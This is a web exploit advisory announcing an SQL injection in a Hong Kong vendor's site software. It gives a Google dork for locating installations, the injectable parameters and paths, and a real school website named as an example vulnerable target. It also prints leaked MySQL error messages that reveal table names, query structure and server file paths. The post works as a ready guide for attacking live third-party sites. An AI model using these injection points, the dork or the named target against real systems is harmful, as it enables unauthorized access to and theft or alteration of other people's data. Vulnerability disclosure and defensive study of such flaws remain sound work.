###################################################################
# Exploit Title : Biznetvigator Accessibility HongKong SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 09/05/2019
# Vendor Homepage : biznetvigator.com - accessibility.hk
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : Mary Rose School Hong Kong
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
###################################################################
# Impact :
***********
Biznetvigator Accessibility HongKong is prone to an SQL-injection vulnerability because
it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or
modify data, or exploit latent vulnerabilities in the underlying database.
A remote attacker can send a specially crafted request to the vulnerable application and
execute arbitrary SQL commands in application`s database. Further exploitation of this
vulnerability may result in unauthorized data manipulation.
An attacker can exploit this issue using a browser or with any SQL Injector Tool.
###################################################################
# Vulnerable Parameters :
**********************
?id=
?type=
# SQL Injection Exploit :
**********************
/last_photo_detail_member.php?id=[SQL Injection]
/features_detail_list.php?id=[SQL Injection]
/success.php?type=[SQL Injection]
###################################################################
# Example Vulnerable Sites :
*************************
[+] mrs.edu.hk/features_detail_list.php?id=1%27
###################################################################
# Example SQL Database Error :
****************************
MySQL Query Error: select p.id,p.photo_file_name,s.photo1_file_name,
p.created,p.hidden,p.name,p.name_en,s.id sid from `features2infos` p left join
`featureslists` s on(p.id = s.featuresinfo_id) where p.featuresinfo_id=1\' and
p.hidden='0' order by p.created desc
Mysql error description: You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right
syntax to use near '\' and p.hidden='0' order by p.created desc' at line 1
Mysql error number: 1064
MySQL Query Error: select * from `achievementinfos`where hidden='0'
and type=1\' order by created desc Mysql error description: You have an
error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '\' order by created desc' at line 1
Warning: Cannot modify header information - headers already sent by
(output started at D:\AppServ\www\htdocs\top.php:8) in D:\AppServ\www
\htdocs\last_photo_detail_member.php on line 3
###################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
###################################################################